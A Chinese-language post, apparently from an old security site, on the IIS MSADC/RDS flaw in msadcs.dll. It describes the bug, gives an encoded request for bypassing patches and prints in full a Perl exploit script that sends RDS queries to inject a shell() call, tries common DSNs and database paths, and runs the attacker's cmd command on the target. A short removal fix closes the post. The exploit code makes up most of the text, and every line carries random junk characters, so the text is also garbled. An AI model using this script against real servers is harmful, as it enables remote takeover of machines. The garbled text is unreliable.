IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
ZLVgK@l 8t< X 涉及程序：
,[N(XstI Microsoft NT server
Q|VBH5}1O ON{ a'H 描述：
q b=% W 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
usK P9[T$ c|'$3dB* 详细：
GM8 >u O 如果你没有时间读详细内容的话，就删除:
{&Rz>JK c:\Program Files\Common Files\System\Msadc\msadcs.dll
`X ()"Qw 有关的安全问题就没有了。
2u0B=0x "`S?q G 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
',|OoxhbK M a{@b$> 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
7F2: '3SQ 关于利用ODBC远程漏洞的描述，请参看:
-d2) iBWEZw) http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm ME)='~E lHliMBSc 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
3,!IV" _ http://www.microsoft.com/security/bulletins/MS99-025faq.asp 247 vU1 R:'&>.AUw 这里不再论述。
,\\=f#c= B1I{@\z0G 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
@yQ1 F>
t l7<VH z0b /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
PktnjdFV 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
p.MLKp-' V3|"
v4 Zy)iNNtn #将下面这段保存为txt文件，然后: "perl -x 文件名"
'%+LQ"Bp Cnc=GTR i #!perl
zLxuxf~4@ #
Uw5&.aqn.b # MSADC/RDS 'usage' (aka exploit) script
{w ,^Z[< #
V%t_,AT # by rain.forest.puppy
'F*OlZ!BWy #
B"88 .U}$ # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
Z,-TMtM7 # beta test and find errors!
VgY6M_V W<O/LHKHdn use Socket; use Getopt::Std;
<Vh5`-J getopts("e:vd:h:XR", \%args);
p v Wj)4e ^[+2P?^K print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
"9~KVILlLu cYOcl-*af if (!defined $args{h} && !defined $args{R}) {
9N2.:<so print qq~
=_6 Q 26 Usage: msadc.pl -h <host> { -d <delay> -X -v }
" :[;}f; -h <host> = host you want to scan (ip or domain)
,s }7KE -d <seconds> = delay between calls, default 1 second
*. A-UoHa -X = dump Index Server path table, if available
8{%&P%vf -v = verbose
z0Y L, -e = external dictionary file for step 5
)\W}&9 > ?}uvpB1} Or a -R will resume a command session
a>y e 6%o@!|=I ~; exit;}
uzp\<\d-t E=bZ4 / $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
={p< |8`" if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
bx7hQzoX=b if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
,WoB)V.{( if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
"79b> $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
}`2+`w%uZ if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
az}zoFl R(}!gv}s if (!defined $args{R}){ $ret = &has_msadc;
; d}n89DXj die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
Un+- T w8KxEV= print "Please type the NT commandline you want to run (cmd /c assumed):\n"
QY\ 'Uu{ . "cmd /c ";
`$JOFLa $in=<STDIN>; chomp $in;
W3X;c*j $command="cmd /c " . $in ;
or)fx/ %h 6@d/k.3p if (defined $args{R}) {&load; exit;}
Y'}c$*OkI xo-{N[r print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
]N 1,"W} &try_btcustmr;
jC-`u-_'j B>"-8#B[4 print "\nStep 2: Trying to make our own DSN...";
11!4#z6w &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
a6d|Ps.\! mkgL/h* print "\nStep 3: Trying known DSNs...";
K|;L{[[yH &known_dsn;
xi.QHKBZaH 2@&"*1(Xu print "\nStep 4: Trying known .mdbs...";
0'zjPE# &known_mdb;
sI#h&V,9 gaU^l73 ,C if (defined $args{e}){
p@?(m/m$ print "\nStep 5: Trying dictionary of DSN names...";
&Ci_wDJ &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
# M
Y4Mr kc@ \AZb print "Sorry Charley...maybe next time?\n";
:19s=0 exit;
{D]I[7f8Ev [H2su|rBI` ##############################################################################
#m'+1 s L # S|On[Q ! sub sendraw { # ripped and modded from whisker
h`tf!M D] sleep($delay); # it's a DoS on the server! At least on mine...
g)<[-Q1 my ($pstr)=@_;
/ pGx ! socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
1 "1ElH die("Socket problems\n");
TP`"x}ACa? if(connect(S,pack "SnA4x8",2,80,$target)){
#yCnM] cEn select(S); $|=1;
j{m{hVa print $pstr; my @in=<S>;
LsK
fCB} select(STDOUT); close(S);
|c2;`T#`o return @in;
"nNT9
K| } else { die("Can't connect...\n"); }}
"x3!F& ? J"Y4,{ ##############################################################################
g(F2IpUm/ Lf Y[Z4 sub make_header { # make the HTTP request
"?J f# my $msadc=<<EOT
\ J6e/ G POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
Gl T /JZ9 User-Agent: ACTIVEDATA
S2= x,c$ Host: $ip
a7]Z_G k Content-Length: $clen
hg `N`O Connection: Keep-Alive
kPnu U! ~ }G#ys\1 ADCClientVersion:01.06
6x@]b>W Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
368H6 Jj s%N6^}N --!ADM!ROX!YOUR!WORLD!
gdqED}v Content-Type: application/x-varg
t.7_7`bin~ Content-Length: $reqlen
$bk_%R}s 52*KRq
o EOT
r" lh\C| ; $msadc=~s/\n/\r\n/g;
q(5 return $msadc;}
Lo9
\[ 4FP h*mKS -TC ##############################################################################
b WB&8 &p 49B6|!&I sub make_req { # make the RDS request
.R@euIva my ($switch, $p1, $p2)=@_;
F JB
/tg my $req=""; my $t1, $t2, $query, $dsn;
~HBx5Cpi )U2%kmt if ($switch==1){ # this is the btcustmr.mdb query
Z1DF ) $query="Select * from Customers where City=" . make_shell();
{6wy}<ynC+ $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
9:Z|Z? >? $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
w< |Lx#L} *jy"g64j elsif ($switch==2){ # this is general make table query
S|B S;VY $query="create table AZZ (B int, C varchar(10))";
,\PTn7_ $dsn="$p1";}
j<vU[J+gx~ 3^ F1 hCB elsif ($switch==3){ # this is general exploit table query
H4e2#]*i7 $query="select * from AZZ where C=" . make_shell();
Q,\S3>1n $dsn="$p1";}
42
rIIJ1A S ^@# %> elsif ($switch==4){ # attempt to hork file info from index server
R)GDsgXy $query="select path from scope()";
sO&e V68
[ $dsn="Provider=MSIDXS;";}
h)?Km {u% j1dz'G}hj elsif ($switch==5){ # bad query
/^ [K $query="select";
l37l| xp~ $dsn="$p1";}
i,$n 4 /oU$TaB>( $t1= make_unicode($query);
Ozc9y y!% $t2= make_unicode($dsn);
ze#ncnMo $req = "\x02\x00\x03\x00";
GF*E +/
; $req.= "\x08\x00" . pack ("S1", length($t1));
AyMbwCR"X $req.= "\x00\x00" . $t1 ;
7+J<N@.d $req.= "\x08\x00" . pack ("S1", length($t2));
zXeBUbVi $req.= "\x00\x00" . $t2 ;
'\LU 8VC $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
UeSPwY return $req;}
2ZQ|nwb7 {
*Wc`ZBY ##############################################################################
d#HN '(2t ; 5!8LmZ0# sub make_shell { # this makes the shell() statement
;:ocU? return "'|shell(\"$command\")|'";}
+ hMF\@ NJ!}(=1|K ##############################################################################
hhr>nuA Um
I,?p sub make_unicode { # quick little function to convert to unicode
; DI"9 my ($in)=@_; my $out;
] iiB|xT for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
wafws*b% return $out;}
;0E[ ;
L! 9h^TOZK) ##############################################################################
g);.".@" d/Fy0=0 sub rdo_success { # checks for RDO return success (this is kludge)
)$E'2|Gm/ my (@in) = @_; my $base=content_start(@in);
c *P t ;m if($in[$base]=~/multipart\/mixed/){
5ZHO+@HiFH return 1 if( $in[$base+10]=~/^\x09\x00/ );}
Th 5}?j7 return 0;}
]\J( D?9EO= ##############################################################################
@|Hx >|p M
cbiO)@I sub make_dsn { # this makes a DSN for us
;+VHi% 5Z my @drives=("c","d","e","f");
VN<baK%] print "\nMaking DSN: ";
hKFB=U foreach $drive (@drives) {
[{r ne2sA print "$drive: ";
q&EwD(k my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
=D?{d{JT "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
HlX 2:\\ . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
v|YJ2q?19 $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
7o`pNcabtz return 0 if $2 eq "404"; # not found/doesn't exist
H?dEgubg7] if($2 eq "200") {
o(Ro/U(Wu foreach $line (@results) {
O9MBQNwjA return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
z%WOv ~8~ } return 0;}
]hA]o7 k LfG$?<}hR ##############################################################################
R~XNF/QMl I$Fr 8R$ sub verify_exists {
~2?UEv6 my ($page)=@_;
fZJ O} my @results=sendraw("GET $page HTTP/1.0\n\n");
/)xQ# yfX return $results[0];}
'lR f 0XrOOYmx ##############################################################################
))#_@CwRr BjbpRQ, sub try_btcustmr {
'3ZYoA% my @drives=("c","d","e","f");
o|c"W}W my @dirs=("winnt","winnt35","winnt351","win","windows");
c jBHczkY t)*A# foreach $dir (@dirs) {
*Ja,3Qq print "$dir -> "; # fun status so you can see progress
0'tm., foreach $drive (@drives) {
n(el print "$drive: "; # ditto
/pnQ Ky. $reqlen=length( make_req(1,$drive,$dir) ) - 28;
zH?&FtO $reqlenlen=length( "$reqlen" );
,DWC=:@X $clen= 206 + $reqlenlen + $reqlen;
f m ^)u" mi{ r7.e5I my @results=sendraw(make_header() . make_req(1,$drive,$dir));
JWs?az if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
1"HSM =p else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
sh 8(+hg T1~,.(# ##############################################################################
q
e;O Ox vpqMKyy sub odbc_error {
%c,CfhEV%& my (@in)=@_; my $base;
55|.MXzq my $base = content_start(@in);
FuZLE%gP if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
|oJ R+
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
t%>x}b"2T $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
p` LPO $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
I~I$/j]e` return $in[$base+4].$in[$base+5].$in[$base+6];}
wK s-<b%; print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
2T#>66^@q print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
>c:- ;( k $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
4 '-GcH 2w G4" ##############################################################################
vdN0YCXG Ayi
Uz sub verbose {
ym)`<[T my ($in)=@_;
}8 qsE return if !$verbose;
GCEq3
^/ print STDOUT "\n$in\n";}
#T8$NZA = g)G! ##############################################################################
5&*B2ZBzH 6M758 K 6v sub save {
)<1}`9G my ($p1, $p2, $p3, $p4)=@_;
|K6hY-uC open(OUT, ">rds.save") || print "Problem saving parameters...\n";
y:+s*x6Vg print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
s%R'c_cGZ close OUT;}
-'!%\E;5 U1^R+ *yp ##############################################################################
`L=$ ,7` S4Vv _k-&
sub load {
sZhl.[&zo my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
l6Q75i)eF open(IN,"<rds.save") || die("Couldn't open rds.save\n");
#GHL F @p=<IN>; close(IN);
:+>:>$ao $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
S*1Km& $target= inet_aton($ip) || die("inet_aton problems");
NCM&6< _ print "Resuming to $ip ...";
MO$ dim> $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
r?= 7#/] if($p[1]==1) {
1 y5 $ $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
S oa5TM $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
/M "E5 my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
/ 8` S}g+ if (rdo_success(@results)){print "Success!\n";}
MrA&xM else { print "failed\n"; verbose(odbc_error(@results));}}
grhwPnKl elsif ($p[1]==3){
21Bl Lz if(run_query("$p[3]")){
$yx34= print "Success!\n";} else { print "failed\n"; }}
sR. ecs+ elsif ($p[1]==4){
/U%Xs}A) if(run_query($drvst . "$p[3]")){
S qQqG3F print "Success!\n"; } else { print "failed\n"; }}
=Gq
'sy:h exit;}
k(;c<Z{?1
_8'F I_E3 ##############################################################################
P2Ja*!K] v K\;CSk
sub create_table {
y[l19 eU my ($in)=@_;
RZ[r XV5 $reqlen=length( make_req(2,$in,"") ) - 28;
cKX6pG $reqlenlen=length( "$reqlen" );
1Bz '$u;
$clen= 206 + $reqlenlen + $reqlen;
,{{uRs/ my @results=sendraw(make_header() . make_req(2,$in,""));
F W # S.< return 1 if rdo_success(@results);
:oH" my $temp= odbc_error(@results); verbose($temp);
Z<#beT6 return 1 if $temp=~/Table 'AZZ' already exists/;
.#b! # return 0;}
O$% C(n( x6ig,N~AO ##############################################################################
~4mgYzOmD` . #;;pu7W sub known_dsn {
fx QN # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
7n~BDqT my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
j}?O "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
G1"=}Wt` "banner", "banners", "ads", "ADCDemo", "ADCTest");
D>O{>;y[
F62 arDA foreach $dSn (@dsns) {
S{NfU/:
dL print ".";
w%1B_PyDg next if (!is_access("DSN=$dSn"));
*s6MF{Ds if(create_table("DSN=$dSn")){
pAV }hB print "$dSn successful\n";
zSYWNmj& if(run_query("DSN=$dSn")){
iD|"} }01 print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
"l&sDh%Lk< print "Something's borked. Use verbose next time\n";}}} print "\n";}
&0
VM <
{=,?]Z+ ##############################################################################
ud`.}H~aB %Ya-;&;` sub is_access {
By@<N [I@ my ($in)=@_;
+mP3 y~|-j $reqlen=length( make_req(5,$in,"") ) - 28;
eP3)8QC $reqlenlen=length( "$reqlen" );
T!hU37g h? $clen= 206 + $reqlenlen + $reqlen;
2 f]9I1{ my @results=sendraw(make_header() . make_req(5,$in,""));
NDRk%_Eu( my $temp= odbc_error(@results);
O329Bkg verbose($temp); return 1 if ($temp=~/Microsoft Access/);
A]{8 = return 0;}
&Sc}3UI/F MW CP/~>a2 ##############################################################################
C<6IiF[>% 3Nh;^ sub run_query {
VYhZ0;' ' my ($in)=@_;
{nbD5 ? $reqlen=length( make_req(3,$in,"") ) - 28;
h. QKbbDj $reqlenlen=length( "$reqlen" );
,7pO- :*g $clen= 206 + $reqlenlen + $reqlen;
HFx8v!^5N my @results=sendraw(make_header() . make_req(3,$in,""));
'8>#`Yba return 1 if rdo_success(@results);
UG+wRX :dA my $temp= odbc_error(@results); verbose($temp);
mV;Egm{A\ return 0;}
d
`Q$URn| L vc*L6 ##############################################################################
0= s+bo1 z1LATy sub known_mdb {
cJm!3X my @drives=("c","d","e","f","g");
XTyn [n my @dirs=("winnt","winnt35","winnt351","win","windows");
8*)zoT*A my $dir, $drive, $mdb;
$Tq-<FbM) my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
2&]UFg:8Q EG0NikT? # this is sparse, because I don't know of many
Gr#p QE2; my @sysmdbs=( "\\catroot\\icatalog.mdb",
Us YH#?|O "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
^G# =>&, "\\system32\\certmdb.mdb",
%.b)%= "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
3u7E?*{sH ?S0VtHQ my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
;=6 ++Oq "\\cfusion\\cfapps\\forums\\forums_.mdb",
8@/]ki `> "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
"31GC7 "\\cfusion\\cfapps\\security\\realm_.mdb",
}qW%= ;! "\\cfusion\\cfapps\\security\\data\\realm.mdb",
`2NL'O: "\\cfusion\\database\\cfexamples.mdb",
9\Mesf1$o "\\cfusion\\database\\cfsnippets.mdb",
FQ?H%UcW "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
P7 E}^y`e "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
[(`T*c.#.X "\\cfusion\\brighttiger\\database\\cleam.mdb",
d?&?$qf[ "\\cfusion\\database\\smpolicy.mdb",
L"tj DAV "\\cfusion\\database\cypress.mdb",
^?toTU "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
DSy, #yA "\\website\\cgi-win\\dbsample.mdb",
/Yx 1S'5 "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
mxQS9y "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
ix]3 t^ ); #these are just
X<(h)&E foreach $drive (@drives) {
'8k\a{t_z foreach $dir (@dirs){
o&?Tz*"l foreach $mdb (@sysmdbs) {
n\*> m p ) print ".";
#joU}Rj| if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
u3 ?+Hu|*T print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
$&k2m^R< if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
E[htNin.B~ print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
XT= # + } else { print "Something's borked. Use verbose next time\n"; }}}}}
4lb3quY$Us =o _ d2 Ak foreach $drive (@drives) {
^=D77 jS foreach $mdb (@mdbs) {
_ZD)#? print ".";
+B_q? 6pR if(create_table($drv . $drive . $dir . $mdb)){
Roy`HU
;0a print "\n" . $drive . $dir . $mdb . " successful\n";
rQ*'2Zf'< if(run_query($drv . $drive . $dir . $mdb)){
ui7 0| print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
nUhD41GJ } else { print "Something's borked. Use verbose next time\n"; }}}}
-j]r\EVKS }
` U!eh1*b ED"5y ##############################################################################
`-s+ zG R`Z U'| sub hork_idx {
< W/-[ M print "\nAttempting to dump Index Server tables...\n";
=t&B8+6 print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
*xU^ e` P $reqlen=length( make_req(4,"","") ) - 28;
mbd $reqlenlen=length( "$reqlen" );
v2EM| Q xp $clen= 206 + $reqlenlen + $reqlen;
w>H!H6Q my @results=sendraw2(make_header() . make_req(4,"",""));
\ fU {$ if (rdo_success(@results)){
x7Ly, my $max=@results; my $c; my %d;
( rZq0* for($c=19; $c<$max; $c++){
Cl<` uW3 $results[$c]=~s/\x00//g;
q'+XTal
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
vxr3|2` $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
:XB eGNI*# $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
l%fnGe` _ $d{"$1$2"}="";}
St P6G ]x foreach $c (keys %d){ print "$c\n"; }
fBD 5K3 } else {print "Index server doesn't seem to be installed.\n"; }}
_4zlEo-.gU |KU>+4=
@ ##############################################################################
}[D~#Z!k 3$l'>v+5{ sub dsn_dict {
/
)5B open(IN, "<$args{e}") || die("Can't open external dictionary\n");
>0@X^o while(<IN>){
"H%TOk7l $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
&E {/s next if (!is_access("DSN=$dSn"));
"O h-`C if(create_table("DSN=$dSn")){
$CL =M print "$dSn successful\n";
Yq`r>g if(run_query("DSN=$dSn")){
#5 G!lbH print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
[ "J print "Something's borked. Use verbose next time\n";}}}
l+R-lsj print "\n"; close(IN);}
`x6 i5mp a2Q9tt>Q ##############################################################################
:7:Nx`D8 1;vn*w`p sub sendraw2 { # ripped and modded from whisker
@ %ChPjN sleep($delay); # it's a DoS on the server! At least on mine...
r1ctW#\~8 my ($pstr)=@_;
B`RbXk68q socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
1/gY]ghL die("Socket problems\n");
WF *2^iWJ if(connect(S,pack "SnA4x8",2,80,$target)){
OYG8%L print "Connected. Getting data";
7gD$Q open(OUT,">raw.out"); my @in;
z>~`9Qiw' select(S); $|=1; print $pstr;
S:rW}r J while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
pgU54 Ef close(OUT); select(STDOUT); close(S); return @in;
D\j 1` } else { die("Can't connect...\n"); }}
-U%wLkf| k[Uc _= ##############################################################################
Ik;~u8j1e ,D
;`t sub content_start { # this will take in the server headers
,589/xTA@ my (@in)=@_; my $c;
z56W5g2 for ($c=1;$c<500;$c++) {
*tz"T-6O if($in[$c] =~/^\x0d\x0a/){
A3'i
- if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
qh F/iUE else { return $c+1; }}}
Om >6<3n return -1;} # it should never get here actually
JW MIZ{/M k wGj 7' ##############################################################################
m'aw`? T{sw{E* sub funky {
K Qub%`n my (@in)=@_; my $error=odbc_error(@in);
a5Xr"- if($error=~/ADO could not find the specified provider/){
ET=q
1t8 print "\nServer returned an ADO miscofiguration message\nAborting.\n";
oP zt1Y exit;}
fcJ#\-+ E if($error=~/A Handler is required/){
`'Z ;+h] print "\nServer has custom handler filters (they most likely are patched)\n";
Qkr'C
n exit;}
z ;
:E~; if($error=~/specified Handler has denied Access/){
7zR 7v print "\nServer has custom handler filters (they most likely are patched)\n";
' 'Ui Q exit;}}
1__p 1 R8o9$&4_ ##############################################################################
En5I bB)EJCPq> sub has_msadc {
g[H7. my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
;\Wg>sq my $base=content_start(@results);
aWe
H,A% return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
=B<g_9d4 return 0;}
/wCP(1Mw nfrC@Av ########################
C@]Z&H; 1|z>}
xP ut-UTW 解决方案：
gyI5;il~ 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
%@H;6
2、移除web 目录: /msadc
